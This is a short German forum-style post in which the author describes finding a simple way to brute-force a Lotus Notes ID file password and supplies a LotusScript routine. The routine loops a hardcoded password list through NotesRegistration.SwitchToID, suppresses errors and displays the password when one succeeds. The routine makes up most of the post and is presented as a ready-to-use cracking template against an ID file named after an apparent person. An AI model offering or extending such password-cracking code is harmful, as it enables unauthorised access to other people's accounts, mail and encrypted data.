Recovers passwords using combination of Brute-Force, Xieve™ or Dictionary attacks
Das kann sich ja nur um Jahre handeln wenn das Passwort gut ist. Und das kann man auch selber bauen.
Per Zufall habe ich eine Möglichkeit gefunden, eine Brutforce-Attack auf eine Notes-ID zu starten. Ich wußte gar nicht, dass dies mit Notes eigenen Mitteln so einfach ist.
Dabei verwendet man einfach aus der Klasse "Registration" die Methode "Call notesRegistration.SwitchToID( idfile$ , userpw$ )".
Hier ist ein kleines Beispiel:
Sub Initialize
Dim reg As New NotesRegistration
Dim UserName As String
Dim password(1 To 7) As String
password(1)="Test"
password(2)="Test2"
password(3)="Test3"
password(4)="Test3"
password(5)="Test4"
password(6)="Test5"
password(7)="password"
On Error Resume Next
For i=1 To 7
UserName = reg.SwitchToID( "c:\tschoene.id", password(i))
Print password(i)
If UserName <> ""Then
Msgbox Username
Msgbox "Kennwort lautet " + password(i)
Exit Sub
End If
Next i
End Sub
